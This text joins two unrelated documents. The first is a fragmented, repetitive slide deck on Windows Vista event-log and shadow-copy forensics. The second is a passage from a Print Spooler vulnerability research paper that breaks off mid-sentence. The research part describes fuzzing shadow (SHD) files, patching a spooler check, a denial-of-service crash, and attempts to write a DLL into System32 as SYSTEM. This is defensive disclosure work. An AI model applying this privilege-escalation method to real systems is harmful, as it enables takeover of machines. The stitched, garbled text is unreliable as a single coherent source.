Experience:
Rice University
Ph.D. Electrical and
Computer Engineering
UTMB Med. School
Faculty, Physiology &
Biophysics
Pentasafe Security
Chief Scientist
Applied Cognitive Soln.
Chief Scientist
Expert Witness
CISSP, ACE, EnCE
An Author of:
GNU Graphics
Asterisk VOIP
See “Authors”
FreeBSD
Founding Core Team
XFree86
man xorg | grep Rich
5
For More Info
C. R. Murphey, “Automated Windows
Event Log Forensics,” Digital
Investigation, August 2007
A peer-reviewed paper on a
new tool for automating XP
log recovery and analysis
Digital Forensic Research
Workshop, 8/13/07
HTCIA National 8/27/07
6
Roadmap
Background
Case Study
Engagement
Preliminary Results
Revised Scope
Vista Event Logging
Events
Logging Service
Undocumented Internals
Event Log Analysis
Recovery
Correlation
Report
Shadow Copy Services
Provider C
Provider C
Provider B
Provider B
Provider A
Provider A
Controller
Controller
Log files
Log files
Controller
Controller
…
Consumer
Consumer
Real time
delivery
Logged Events
Session 1
Buffers
Session 2
Session 64
Events
Events
Enable/Disable
Session Control
Consumer
Consumer
Windows Kernel
Repair
Correlate
Recover
7
Case Study Steps
Step 1: Define Preliminary Scope
Define feasibility of the engagement.
Step 2: Preliminary Report
Uncover and mitigate surprises.
Define capability to answer questions.
Step 3: Final Report
In-depth coverage.
Adapt methods to answer questions.
8
1st Hurdle: Define a Scope
Officer/Director calls
Something bad happened….
Possible contract violation.
Outgoing transfer of proprietary documents.
#1: Define a scope of work.
Can we identify file transfer?
Examine hard drives
Email attachments
File transfer, uploads
Anything else?
9
2nd Hurdle: Preliminary Report
Good news:
We know what to look for.
Well defined keywords, file names
#2: Preliminary Report
D:\OfInterest.doc
In unallocated space….
Bad News:
IT deleted the user profile, and
gave laptop to a new employee,
six months ago,
after they reformatted and
reinstalled Windows Vista.
10
Shortcuts
Shortcuts may contain IDs, label, size
A snapshot of file’s attributes, media’s attributes
Shortcut File
Read-only
File attributes
N/A
Last access time (UTC)
11/3/2006 10:12:34 AM
Last write time (UTC)
11/11/2006 3:21:14 PM
Creation time (UTC)
1643743
File size
E2C3-F184
Volume Serial Number
Nov 11 2006
Volume Label
CD-ROM
Volume Type
D:\OfInterest.doc
Local Path
Link target information
11
3rd Hurdle: Final Report
How to identify outgoing
file transfer?
Data carve for file path, time….
Where to find time stamps?
Event logs
Internet history
Shortcuts
Any where else?
12
Roadmap
Background
Case Study
Engagement
Preliminary Results
Revised Scope
Vista Event Logging
Events
Logging Service
Undocumented Internals
Event Log Analysis
Recovery
Correlation
Report
Shadow Copy Services
Provider C
Provider C
Provider B
Provider B
Provider A
Provider A
Controller
Controller
Log files
Log files
Controller
Controller
…
Consumer
Consumer
Real time
delivery
Logged Events
Session 1
Buffers
Session 2
Session 64
Events
Events
Enable/Disable
Session Control
Consumer
Consumer
Windows Kernel
Repair
Correlate
Recover
13
Shortcuts
Shortcuts may contain IDs, label, size
A snapshot of file’s attributes, media’s attributes
Shortcut File
Read-only
File attributes
N/A
Last access time (UTC)
11/3/2006 10:12:34 AM
Last write time (UTC)
11/11/2006 3:21:14 PM
Creation time (UTC)
1643743
File size
E2C3-F184
Volume Serial Number
Nov 11 2006
Volume Label
CD-ROM
Volume Type
D:\OfInterest.doc
Local Path
Link target information
14
Event Logging
Windows Vista/2008
Time, SID, Source, Severity, Message
More than 50 logs by default.
C:/Windows/system32/winevt/Logs/
Application.evtx
HardwareEvents.evtx
Internet Explorer.evtx
Security.evtx
Setup.evtx
System.evtx
…. 50 more!
15
hardware interfaces (buses, I/O devices, interrupts,
interval timers, DMA, memory cache control, etc., etc.)
System Service Dispatcher
Task Manager
Explorer
SvcHost.Exe
WinMgt.Exe
SpoolSv.Exe
Service
Control Mgr.
LSASS
Object
Mgr.
Windows
USER,
GDI
File
System
Cache
I/O Mgr
Environment
Subsystems
User
User
Application
Application
Subsystem DLLs
OS/2
System Processes
Services
Applications
System
Threads
User
Mode
Kernel
Mode
Windows
NTDLL.DLL
Device &
File Sys.
Drivers
WinLogon
Session
Manager
Services.Exe
POSIX
Plug and
Play Mgr.
Power
Mgr.
Security
Reference
Monitor
Virtual
Memory
Processes
& Threads
Local
Procedure
Call
Graphics
Drivers
Kernel
Hardware Abstraction Layer (HAL)
(kernel mode callable interfaces)
Component Architecture
Configura-
tion Mgr
(registry)
PDC 06
Events
Backward
Compatibility
Occurs Here
16
Backward Compatibility
Backward Compatibility?
17
Vista Event Logging
5% CPU for 20K events/sec, 200K w/Transactions
Logging and WMI are now just layers on top of ETW
Unified: kernel/app, tracing/logging, remote/local
Provider C
Provider C
Provider B
Provider B
Provider A
Provider A
Log files
Log files
Controller
Controller
…
Consumer
Consumer
Real time
delivery
Logged Events
Session 1
Buffers
Session 2
Session 64
Events
Events
Enable/Disable
Session Control
Consumer
Consumer
Windows Kernel
PDC 06
18
Vista Logging Service
High performance tracing
Event Tracing for Windows (ETW)
Events from both apps and kernel
Events are forwarded to a Collector Service
and stored in local log for consumption
Buffered in kernel
Dynamically enable/disable
No reboot or restart
Selected events are delivered as they arrive
Choose either push or pull subscription
Provider C
Provider C
Provider B
Provider B
Provider A
Provider A
Controller
Controller
Log files
Log files
Controller
Controller
…
Consumer
Consumer
Real time
delivery
Logged Events
Session 1
Buffers
Session 2
Session 64
Events
Events
Enable/Disable
Session Control
Consumer
Consumer
Windows Kernel
19
Vista Events
Events are XML!
Standards encoding
System: standard properties
EventData: app. defined
Get events via:
Query live logs & log files
Subscribe to live logs
Filter using XPath
Internals:
New, different encoding
Arbitrary structure defined
by each application
<Event>
<System>
<Provider Name="CD Burning Service" />
<EventID>310</EventID>
<Level>2</Level>
<Version>0</Version>
<TimeCreated SystemTime="2006-02-
28T21:51:44.754Z" />
<EventRecordID>7664</EventRecordID>
<Channel>Application</Channel>
<Computer>Desktop9237</Computer>
<Security UserID="S-1-...-1003" />
</System>
<EventData>
<data name=“control”>
Service Started.
</data>
</EventData>
</Event>
PDC 06
Events are encoded not as XML, but rather BXML!
20
Vista Events
<Event>
<System>
<Provider Name="CD Burning Service" />
<EventID>310</EventID>
<Level>2</Level>
<Version>0</Version>
<TimeCreated SystemTime="2006-02-
28T21:51:44.754Z" />
<EventRecordID>7664</EventRecordID>
<Channel>Application</Channel>
<Computer>Desktop9237</Computer>
<Security UserID="S-1-...-1003" />
</System>
<EventData>
<data name=“control”>
Service Started.
</data>
</EventData>
</Event>
PDC 06
Record Header
Section Descriptor
Section Header
Section Body
Section Header
Section Body
Section Header
Section Body
Section Descriptor
Section Descriptor
On the outside
On the inside
21
Undocumented Event Structure
Record header
Common attributes
Timestamp, severity
Number of sections
Section descriptors
Source
Offset, length
Section headers
Specifies encoding of body
Section body
event specific data
Record Header
Section Descriptor
Section Header
Section Body
Section Header
Section Body
Section Header
Section Body
Section Descriptor
Section Descriptor
22
Binary XML
BXML (Binary eXtensible Markup Lang.)
A binary serialization of an XML document.
developed by CubeWerx for OpenGIS Consortium.
Higher performance in both space and time.
More compact.
String table for tags and values.
Gzip whole doc or just body.
Avoids resource exhaustion of DOM.
10 to 100 times faster to parse.
100 times faster for dense numeric data due to
binary encoding of numbers alone.
http://www.cubewerx.com
23
What is BXML?
Serialized numbers begins a one byte code that
identifies the data type.
byte enum ValueType {
BoolCode = 0xF0,
// boolean value
ByteCode = 0xF1,
// 'byte' numeric value
IntCode = 0xF4,
// 'int' numeric value
}
IntNum {
// 32-bit integer value
ValueType type = IntCode;
int num;
// value
}
http://www.cubewerx.com
24
What is BXML?
XML tags are serialized as a byte code for
the type of tag, followed by a reference to
the tag name in the string table.
ContentElementToken {
// <element>
TokenType type = ContentElementCode;
Count stringRef;
// index of
element name
}
ElementEndToken {
// </element>
TokenType type = ElementEndCode;
}
http://www.cubewerx.com
25
What is BXML?
Strings are preceeded by their length.
String tables are preceeded by type code
and table size.
String {
// raw character string
Count byteLength;
// length in bytes
byte chars[byteLength]; // characters in proper encoding
}
StringTableToken { // string table (fragment)
TokenType type = StringTableCode;
Count nStrings;
// number of strings
String strings[nStrings]; // values
}
26
Why the changes?
Performance, scalability, and security
New event publishing API
Schematized, discoverable,
structured events
Unified API
logging uses tracing framework
Logging is asynchronous
Does not block the application
Log size limit removed
limited only by disk space
Record Header
Section Descriptor
Section Header
Section Body
Section Header
Section Body
Section Header
Section Body
Section Descriptor
Section Descriptor
27
Vista Events
XML events have rich information
XP Events have flat structure, no parameter names
Filtering and Subscriptions – XPath
Event[System/EventID=101]
Select events - filter out noise
<QueryList>
<Query>
<Select>Event[System/Provider=Foo]</Select>
<Suppress>Event[System/Level>2]</Suppress>
</Query>
</QueryList>
Filter across live logs, files, Vista, and XP
Subscribe to a custom view of events centrally
Integrates with existing tools
Triggering Actions
Associate a task with an event with a single click
28
Vista Log Signature
Vista Log Signature
4K Header starts with “ElfFile”
Each 64K block starts with “ElfChnk”
Size: 1024 + 4 = 1028 K bytes
29
Registering a Provider
Providers are sources of the events
Identified by unique GUID and name
Specifies the location of resources for
decoding
<provider name="Microsoft-Windows-Demonstration"
guid="{12345678-d6ef-4962-83d5-123456789012}“
resourceFileName="wevtsvc.dll"
messageFileName="wevtsvcMessages.dll"
parameterFileName="wevtsvcParameter.dll"
>
PDC 06
30
PDC 06
Channel Definition
System-defined channels are imported
(System channel above)
New provider-specific channels can be
defined and configured
<importChannel chid="C1" name="System" />
<channel chid="C2" name="Microsoft-Windows-
Demonstration/Operational“
type="Operational" isolation="System">
<logging>
<autoBackup>true</autoBackup>
<maxSize>268435456</maxSize>
</logging>
<publishing>
<level>2</level>
<keywords>1</keywords>
</publishing>
</channel>
31
PDC 06
Template Definition
Templates define the payload shape
of events
Data elements define fields of events
Can add user-defined XML representation
for the payload
<templates>
<template tid="tid_HelloWorld">
<data name="Greeting" inType="win:UnicodeString"
outType="xs:string" />
</template>
</templates>
32
PDC 06
Event
Manifest defines event attributes: ID (value),
version, keywords, task, opcode, and level
References previously declared template that
defines instance data
Message - a user readable string
Channel - the name of the channel that
transports the event to logs
<event value="101" version="1" level="win:Error"
symbol=“MyEventDescriptor”
keywords="el:Availability“
task="el:EventProcessing"
template=“tid_HelloWorld" channel=“C1"
message="$(string.HelloWorld.Message)"
/>
33
Logging Interface
How to log an event:
At compile time
Write a schema
Compile schema
At run time
Register source
Create a session
Send events
Publishing API
Publisher
Published
Events
session
Event publishing
application
User mode
Kernel mode
Logs
Event
Schema
Schema
compiler
Kernel Component
Sessions
Publishing
API
Published
Events
PDC 06
34
Roadmap
Background
Case Study
Engagement
Preliminary Results
Revised Scope
Vista Event Logging
Events
Logging Service
Undocumented Internals
Event Log Analysis
Recovery
Correlation
Report
Shadow Copy Services
Provider C
Provider C
Provider B
Provider B
Provider A
Provider A
Controller
Controller
Log files
Log files
Controller
Controller
…
Consumer
Consumer
Real time
delivery
Logged Events
Session 1
Buffers
Session 2
Session 64
Events
Events
Enable/Disable
Session Control
Consumer
Consumer
Windows Kernel
Repair
Correlate
Recover
35
“Cutting-Edge Forensics”
“Conduct Cutting-Edge
Forensic Investigations”
– back cover
On Event Log Repair:
“We found no methods that
were complete, and none
explained the underlying
principles for why the repair
was needed.” – pg. 444
Available April 2, 2007
36
For More Info
C. R. Murphey, “Automated Windows
Event Log Forensics,” Digital
Investigation, August 2007
A peer-reviewed paper on a
new tool for automating XP
log recovery and analysis
Digital Forensic Research
Workshop, 8/13/07
HTCIA National 8/27/07
37
Log Analysis Roadmap
Forensic Process Models
Repair
Correlate
Recover
Extract
Analyze
Interpret
38
Log Analysis Roadmap
Forensic Process Models
Repair
Correlate
Recover
Extract:
Step 1 – Recover
•Data Carve for Logs, etc.
Step 2 – Validate
•Identify intact log files.
Step 3 – Correlate
•Corresponding time, files, names,…
Analyze
Interpret
39
Using DataLifter:
40
XP log signature – 16 bytes
30 00 00 00 4c 66 4c 65 01 00 00 00 01 00 00 00
Vista log signature – 16 bytes
“ElfFile” padded with nulls
Signatures
41
Step 1 – Recover
The Results:
Step 1 – Recover
Run DataLifter
100 logs are recovered.
Only two are viewable.
98 corrupt logs
Step 2
Validate 98 logs?
42
Vista Event Viewer
New: Views, Filters
43
Correlate
SQL queries to identify
patterns
<QueryList>
<Query>
<Select Path=“System”>
*[System/Provider=“CD Burning
Service”]</Select>
</Query>
</QueryList>
Repair
Correlate
Recover
The CD Burning service entered the running state.
11/11/2006 15:21
Message
Time (UTC)
11/11/2006 15:26 The CD Burning service entered the running state.
11/11/2006 15:25 The CD Burning service entered the running state.
11/11/2006 15:24 The CD Burning service entered the running state.
11/11/2006 15:23 The CD Burning service entered the running state.
The CD Burning service entered the running state.
11/11/2006 15:22
11/11/2006 15:27 The CD Burning service entered the stopped state.
The CD Burning service entered the running state.
11/11/2006 15:27
11/11/2006 15:21 The CD Burning service was successfully sent a start control.
44
Shortcuts
Shortcuts may contain IDs, label, size
A snapshot of file’s attributes, media’s attributes
Shortcut File
Read-only
File attributes
N/A
Last access time (UTC)
11/3/2006 10:12:34 AM
Last write time (UTC)
11/11/2006 3:21:14 PM
Creation time (UTC)
1643743
File size
E2C3-F184
Volume Serial Number
Nov 11 2006
Volume Label
CD-ROM
Volume Type
D:\OfInterest.doc
Local Path
Link target information
45
Report
Correlations indicate
A CD-ROM was burned
By username: Bob
At: 11/11/2006 3:21 PM UTC
We can uniquely identify the CD
Label: “Nov 11 2006”
Volume serial number: E2C3-F184
Proprietary documents were transferred.
OfInterest.doc, 1.6Mb
Last Modified 11/3/2006 10:12:34 AM UTC
Repair
Correlate
Recover
46
Shortcuts
Shortcuts may contain IDs, label, size
A snapshot of file’s attributes, media’s attributes
Shortcut File
Read-only
File attributes
N/A
Last access time (UTC)
11/3/2006 10:12:34 AM
Last write time (UTC)
11/11/2006 3:21:14 PM
Creation time (UTC)
1643743
File size
E2C3-F184
Volume Serial Number
Nov 11 2006
Volume Label
CD-ROM
Volume Type
D:\OfInterest.doc
Local Path
Link target information
47
Timestamp Analysis
Last write time is earlier than created.
Can indicate the time at which a file was
transferred from source media.
Can help identify the source file on source
media.
11/3/2006 10:12:34 AM
Last write
11/11/2006 3:21:14 PM
Created
Read-only
File attributes
N/A
Last access time (UTC)
11/3/2006 10:12:34 AM
Last write time (UTC)
11/11/2006 3:21:14 PM
Creation time (UTC)
1643743
File size
E2C3-F184
Volume Serial Number
Nov 11 2006
Volume Label
CD-ROM
Volume Type
D:\OfInterest.doc
Local Path
Link target information
48
Roadmap
Background
Case Study
Engagement
Preliminary Results
Revised Scope
Vista Event Logging
Events
Logging Service
Undocumented Internals
Event Log Analysis
Recovery
Correlation
Report
Shadow Copy Services
Provider C
Provider C
Provider B
Provider B
Provider A
Provider A
Controller
Controller
Log files
Log files
Controller
Controller
…
Consumer
Consumer
Real time
delivery
Logged Events
Session 1
Buffers
Session 2
Session 64
Events
Events
Enable/Disable
Session Control
Consumer
Consumer
Windows Kernel
Repair
Correlate
Recover
49
"Shadow Copy tracks your
every change."
Automatic point-in-time
copies.
Incremental block level
differences minimize
space.
Deletes older copies as
needed for space (LRU).
X
50
Legal Concerns Related to Vista
Revised Federal Rules of Civil Procedure
Scope of Production
Historical snapshots are readily available in Vista
Duty to Preserve
Litigation Hold Notices
Potential for Sanctions
Form of Production
Native files?
Metadata?
Point-in-time Image Snapshots?
51
Impact on Policy Maintenance
May Complicate Corporate Policy Issues
Document retention policies
Complicates policy maintenance
Disabling shadow copies in turn breaks backups,
restore engine
Metadata retention policy
Ownership changes are visible now
Gaps in documentation policy for Vista
52
Impact of Vista on Forensics
FRCP: The rules have changed.
Vista, in turn, changes the rules.
What happens if one accepts the default
system behavior?
Things may never go away permanently.
Vista leaves far more information than XP
Changes in ownership (SID)
Executives dislike surprises
Risks regarding SOX compliance and litigation.
53
How Shadow Copy Works
Acts like block device
A layer between the device and file system
Snapshot as of Wed. 7:00
Snapshot as of Wed. 10:00
Snapshot as of Wed. 13:00
Snapshot as of Wed. 15:00
Snapshot as of Wed. 19:00
File System
Volume Shadow Copy (VSS)
Service
Block Device (disk)
Blocks
Blocks
Current File System
54
Application writes
data to disk
Shadow Copies
Disk Before
Stevenson, WinHec 06
Upon write, overwritten
block moves to shadow copy
shadow copy holds only
blocks that changed.
Disk After
Shadow Before
Shadow After
55
Enabling Shadow Copies
56
Enabling Shadow Copies
57
58
59
60
61
62
63
64
Stevenson, WinHec 06
65
Stevenson, WinHec 06
66
Windows RE Auto-Repair
Computer
Bluescreens
Reboot
>5
attempts?
Auto-launch
Startup
Repair
Boot manager
detects failure
Fail over into
Windows RE
Diagnose
and repair
computer
Reboot
Successful boot?
Windows Vista
starts
Cannot
auto-repair
(try manual)
Yes
Yes
No
No
No
No
Yes
Yes
Stevenson, WinHec 06
67
Stevenson, WinHec 06
68
Tools - VSSAdmin
C:\>vssadmin /?
vssadmin 1.1 - Volume Shadow Copy Service administrative command-
line tool
(C) Copyright 2001 Microsoft Corp.
---- Commands Supported ----
Add ShadowStorage - Add a new volume shadow copy storage
association
Create Shadow - Create a new volume shadow copy
Delete Shadows - Delete volume shadow copies
Delete ShadowStorage - Delete volume shadow copy storage associations
List Providers - List registered volume shadow copy providers
List Shadows - List existing volume shadow copies
List ShadowStorage - List volume shadow copy storage associations
List Volumes - List volumes eligible for shadow copies
List Writers - List subscribed volume shadow copy writers
Resize ShadowStorage - Resize a volume shadow copy storage
association
69
Resource Kit – VolRest
C:\Resource Kit>volrest
VOLREST 1.1 - Timewarp Previous Version command-line tool
(C) Copyright 2003 Microsoft Corp.
Usage: VOLREST [options] FileName
Options are:
/? - Displays this help.
/A - Includes files with specified attributes.
/AD Directories (only).
/AS System files.
/AH Hidden files.
/B - Uses bare format (no heading information or summary).
/S - Includes files in specified directory and all subdirectories.
/R:<DirectoryName> -
Restore all previous versions in target directory.
/E - Restores empty directories (use with /R).
/SCT - Decorates restored file names with the shadow copy timestamp.
Use with /R. For example:
"foo (Wednesday, January 01, 2003, 14.00.00).doc"
Examples:
VOLREST Z:\MYDIRECTORY\MYFILE.DOC
VOLREST //server\share\MYDIRECTORY\*.DOC
VOLREST Z:\*.* /s /r:C:\OLDFILES
VOLREST Z:\*.DOC /s /r:C:\OLDFILES /SCT
70
Questions?
[email protected]
http://murphey.org
http://acsworldwide.com
Provider C
Provider C
Provider B
Provider B
Provider A
Provider A
Controller
Controller
Log files
Log files
Controller
Controller
…
Consumer
Consumer
Real time
delivery
Logged Events
Session 1
Buffers
Session 2
Session 64
Events
Events
Enable/Disable
Session Control
Consumer
Consumer
Windows Kernel
Repair
Correlate
Recover
71
For More Info
C. R. Murphey, “Automated Windows
Event Log Forensics,” Digital
Investigation, August 2007
Digital Forensic Research
Workshop, 8/13/07
GMU Forensics Symposium
HTCIA National 8/27/07 | pdf |
The Legacy Print Spooler: A story about
vulnerabilities from the previous
millennium until today
Peleg Hadar, Senior Security Researcher, SafeBreach Labs
Tomer Bar, Research Team Leader, SafeBreach Labs
Created: January 2020
Updated: July 2020 (See the “Updated Notes” section)
Table of Contents
Introduction
2
Exploring the Print Spooler
2
The Printing Process
3
Diving into the Spooler
4
Our Research Environment
4
Picking our First Target: The SHD File
5
1st Vulnerability - Fuzzing in the Shadow (Files)
6
Sanity Test
6
Patching the Spooler for Fuzzing and Profit
7
Starting to Fuzz
9
First Crash Dump
10
Windows 10 19H2
10
Windows 2000
10
Root Cause Analysis (1st Vulnerability)
11
Background
11
Analyzing the Vulnerability
14
2nd Vulnerability - User-to-SYSTEM Privilege Escalation
15
Introduction
15
“Printing” to System32 - First Try
16
The RPC Impersonation Barrier
17
Printing to System32 - Second Try
18
Writing Files as SYSTEM
19
Mitigation
20
Updated Notes
21
References
21
Introduction
SafeBreach Labs discovered three vulnerabilities in the Windows Print Spooler service.
This is the story of how we discovered the DoS, CVE-2020-1048 and CVE-2020-1337
vulnerabilities which we reported to Microsoft.
In this blog post, we will demonstrate our journey since we found the vulnerabilities,
starting with exploring the Print Spooler components, diving in to the undocumented SHD
file format and its parsing process, and last but not least, we will present both of the
vulnerabilities which we found in the Print Spooler mechanism and analyze the root cause.
Exploring the Print Spooler
The Print Spooler is the primary component of the printing interface in Windows OS. It’s an
executable file that manages the printing process. Some of its responsibilities are:
●
Retrieving and loading the printer driver
●
Spooling high-level function calls into a print job
●
Scheduling the print job for printing
The Printing Process
The Print Spooler is based on an RPC client/server model, which means that there are
several processes which are involved in a single printing operation.
Screenshot Reference:
https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-comp
onents
Let’s walk-through the printing process in brief:
1. A user application creates a print job by calling the GDI (Graphics Device
Interface) which provides the application with the ability to print graphics and/or
formatted text (for example, StartDoc).
2.
GDI makes an RPC call to Winspool.drv (The client-side of the spooler, which
exports RPC stubs), for example, GDI may use the StartDocPrinter function to
forward the call to the Spooler Server (spoolsv.exe).
3. The spooler server (Spoolsv.exe) forwards the print job to the print router.
4. The print router (spoolss.dll) redirects the print job to one of the following print
providers:
a.
If the printer is connected locally it will be redirected to the Local Print
Provider (localspl.dll)
b. Otherwise, it will be redirected to a Network Print Provider (e.g. Win32spl.dll,
Inetpp.dll, etc.)
Note: We will focus on the first local scenario. In this scenario, a local printer is
connected to the workstation. (A pure-virtual printer can be added using Microsoft’s
default API. No special permissions are required.)
5. The local print provider (localspl.dll) performs the following:
a.
Creates a Spool File (.SPL) which contains the data to be printed
(EMF-SPOOL, RAW, TEXT) and a Shadow File (.SHD) which contains metadata
about the print job. We will dive into the SHD format soon.
b. Redirects the print job to the print processor.
6. The print processor, in our case, the local winprint processor, reads the print
job’s spooled data. (Remember, this is the SPL file which might contain EMF-SPOOL,
RAW, PSCRIPT1 or TEXT. Then the print processor converts the spooled data to
RAW Data Type and sends it back to the appropriate port monitor for printing.
7. The port monitor, which is responsible for communicating between the
user-mode spooler and the kernel-mode port drivers, will write the data to the
printer. (We will use the local port, so it will just write the data to a predefined file
path.)
Diving into the Spooler
Our Research Environment
First, we defined our research environment:
●
An updated Windows 10 x64 19H2 (The latest build while we wrote this article was
10.0.18362.535.)
●
A local printer which prints to a file (very convenient for testing purposes)
It can be added by a limited user (low-integrity) using three simple PowerShell
commands. (You can do the same with WinAPI as well.):
In this example, we’ve added a local port which prints into a file (c:\temp\a.bin) and
configured a local printer named “Test2”, which prints its jobs to this port.
Picking our First Target: The SHD File
After we learned a bit about the Print Spooler architecture and components, we asked
ourselves where we should start.
Let’s summarize the two last steps of the printing process for a moment:
1.
The local print provider (localspl.dll) creates a Spool File (.SPL) which contains the
data to be printed (EMF-SPOOL, RAW, TEXT) and a Shadow File (.SHD) which contains
metadata about the print job.
2.
The print processor reads the print job’s spooled data.
We know that the SPL file can be an interesting target to attack (and we might approach it
later) as it’s being handled by the GDI which has a big attack surface (a lot of bugs were
found in this one), but we were more interested in the SHD files for the following reasons:
1. This format doesn’t have any official documentation and we were curious.
We asked ourselves some questions: What component is in charge of parsing this
file? What does it contain? Is it encrypted? What impact can we have if we change
this file?
Later on we did find an out-dated (and pretty impressive) SHD documentation here:
http://www.undocprint.org/formats/winspool/shd
2. Before even diving into a single piece of code, we looked at spoolsv.exe behavior
while it started and we noticed that it enumerates SHD and SPL files in the
PRINTERS folder (which is where the spool files are saved:)
We assumed that if spoolsv.exe will find SPL and/or SHD files, it will try to parse
them and maybe even send a print job to the printer.
This seemed very interesting, as it provides a convenient way to send data
directly to the spooler, which will (probably) be parsed and be used by other
components as well. All we need to do is to drop some files into the directory and
restart the service. Dropping a file into this directory is possible for every
limited-user in the system.
We decided to start with fuzzing this exact flow of shadow (SHD) file parsing.
1st Vulnerability - Fuzzing in the Shadow (Files)
Sanity Test
In order to make sure we can drop a large set of files that will be parsed successfully by the
Print Spooler, we need make sure that we have the following:
1.
A single SHD file which works (which means that the spooler will read it, send it to
the virtual printer, and print to a file successfully).
2.
No limit on the amount of SHD files that can be processed - We want to make
sure that the spooler service can process unlimited SHD files. We prefer to drop a
lot of files and restart the service once rather than restart the service multiple
times (to reduce the overhead).
We marked the “Keep printed documents” option and printed an empty document using
mspaint.exe, to get the SPL and SHD files we needed:
We restarted the Print Spooler service, but nothing happened. It just ignored our files. We
assumed it probably marked the job status as “Printed” so it won’t send the same print jobs
to the printer twice.
Using the following unofficial SHD documentation and RE’d of the updated binaries using
IDA Pro and WinDbg, we created an updated SHD template for 010 Editor which includes
the relevant fields for our research.
The template will be published on SafeBreach Labs’ GitHub repository.
As can be seen in the following screenshot, the wStatus value of the SHD file is 0x480.
According to Microsoft’s documentation, that means the following:
JOB_STATUS_PRINTED | JOB_STATUS_USER_INTERVENTION
We changed it to JOB_STATUS_RESTART (0x800) and it worked. We have a valid SHD
file that we can mess with during the fuzzing.
Patching the Spooler for Fuzzing and Profit
Next, we want to make sure we have no limitation on the number of SHD files that can be
processed by Print Spooler.
At the start, we looked at the same operation of SHD file enumeration as we showed
before in the Process Monitor, and examined the stack trace:
Looks like the interesting function is in localspl.dll (the local print provider):
ProcessShadowJobs.
We googled the name of the function and we found an interesting project called OpenNT
which contains a very old version (1995-ish) of Windows source code including localspl
which implements this exact function.
This is very interesting, as we compared most of the logic and the code seemed to be very
similar to the Windows 10 version so it was a good start.
After auditing the source code we found a limitation inside the ReadShadowJob function
(called from ProcessShadowJobs which we will talk about very soon) which we needed to
bypass:
The function extracts the job id from the SHD file, and compares it to MaxJobId which is
256. If it’s bigger than 255, it won’t process the file.
This is how it looks in the Windows 10 version:
In order to bypass the test we patched the jb instruction with 6 NOPs:
Starting to Fuzz
As a start, we decided to write and use our own simple fuzzer.
When we looked at the start of the ReadShadowJob function, we noticed that each SHD
file must have an existing SPL file with the same name as well, as it’s using CreateFile with
the OPEN_EXISTING flag:
We didn’t find any usage of the handle to the SPL file in this function, so we decided to drop
empty SPL files for optimization purposes.
After the fuzzer was done generating all of our crafted SHD files, we restarted the Print
Spooler service. As we mentioned, we patched it so it can process all of our files at once (no
need to restart the service.)
First Crash Dump
Windows 10 19H2
After approximately 20 minutes of fuzzing we’ve noticed a crash, which was reproducible:
The stack trace was as follows:
Windows 2000
We wanted to check if this bug existed on Windows 2000, assuming that this is pretty old
code and there is a chance that the bug existed on this version as well. Here is how we
checked:
We took a valid SHD file from Windows 2000 and changed it in order to trigger the bug.
The file was similar to the Win10 SHD version, except for some DWORD (32 bit) / QWORD
(64 bit) differences.
We dropped the file and restart the Spooler service:
And we have a crash on Win2000 as well :). Apparently we found a very (very) old bug.
Root Cause Analysis (1st Vulnerability)
Background
Before we dive into the bug root cause, we will provide you with the context of what
happened so far (until the bug was triggered) in order for you to understand the bug
better.
1. During the Spooler initialization process, the ProcessShadowJobs function was
called in order to process the SHD files which needed to be printed.
2. Each SHD file was parsed by the ReadShadowJob which treats the SHD file as a
serialized struct, extracting the values from the struct and assigning them to an
INIJOB struct (which is undocumented). The INIJOB struct is allocated on the heap:
3. Moving on a little bit further, a scheduler thread was created (while initializing the
local print provider):
4. The scheduler initialization process iterated all of the Spooler ports and made sure
that each port had its own thread which can handle print jobs:
5. Once the port thread was ready, an infinite loop was run which waited for a print job
(which was represented as the INIJOB struct, parsed from the SHD file):
6. After altering some attributes of the INIJOB struct, the Port thread function rewrote
the SHD file by calling WriteShadowJob, and then sent the print job to a print
processor (by calling PrintDocumentThruPrintProcessor.)
Analyzing the Vulnerability
The following is the stack trace of the crash:
The WriteShadowJob function does the opposite of ReadShadowJob. It converts an INIJOB
struct into a SHADOW_FILE struct and writes it back to a file.
During the conversion process, it tries to retrieve the length of a SECURITY_DESCRIPTOR
struct which was originally extracted from our crafted SHD file.
This is the root cause of the bug, which we have already seen in the screenshot of the crash
dump:
RtlLengthSecurityDescriptor tried to dereference rax (which contains the address of
the security descriptor struct inside the SHD file and can be controllable by any user).
Let’s take a look at the Shadow File which caused the crash:
Our fuzzer changed the offset of the SecurityInfo (which is the SECURITY_DESCRIPTOR
struct) to 0x636 (instead of 0x624):
Before the fuzzer made the change to the file, the function read 8 bytes of NULL (the green
square in the screenshot) and didn’t try to dereference the data because it was equal to 0.
When the fuzzer incremented the offset of the Security Descriptor struct by 0x10, it
was no longer 0 (the red square in the screenshot), so it tried to dereference it, and
then it crashed, resulting in crashing the service (DoS.)
2nd Vulnerability - User-to-SYSTEM Privilege
Escalation
Introduction
When we did the fuzzing process, we learned a lot about the Spooler mechanism. We
figured out what exactly happens during the printing process, which components are
involved, what is the connection between each component, and how exactly the SHD
(Shadow file) format is parsed.
So we took a look once again at the updated SHD file format: (This is a cropped version):
The fact that the SID of the user which created the print job was included in the SHD file
seemed very interesting to us as any user can craft an SHD file. We immediately asked
ourselves how the Print Spooler handles privileges, as it runs as NT AUTHORITY\SYSTEM.
We will find out soon.
So if the Print Spooler provides us with the ability to print to a file, maybe we can “print” a
malicious file to System32 on behalf of NT AUTHORITY\SYSTEM?
We assumed it’s possible since the Spooler runs as NT AUTHORITY\SYSTEM so it should be
able to write to System32.
“Printing” to System32 - First Try
First, we used a Windows 10 VM with a limited-user and configured it as follows:
1. Added a local print port, located in System32. The file would be written to this path.
2. Added a local virtual printer which used the port we created.
Next, using WinAPI we wrote a simple C program which prints RAW Data Type using our
printer. We used RAW because we wanted to write a DLL file and we didn’t want the data to
be parsed by any further component, just written as-is.
We used a dummy DLL for PoC purposes and fired up the program to “print” the file to
System32 within the context of the limited user:
Our first try failed. We assumed it wouldn’t be so straight-forward, but let’s try to figure out
why.
The RPC Impersonation Barrier
As we mentioned at the start of the article - when a user creates a printing job, it is sent
over RPC to spoolsv.exe. In order to block the option of abusing the Print Spooler service
and perform operations as SYSTEM, Microsoft used the impersonation feature of RPC
which performs most of the tasks on behalf of the user which created the print job.
This is the logic of the impersonation :
It’s simple as this:
1. Call to RpcImpersonateClient
2. Call StartDocPrinter using the token of the user who created the print job
3. Call to RpcRevertToSelf
Printing to System32 - Second Try
We understood that we have to find some kind of use-case in which the Print Spooler will be
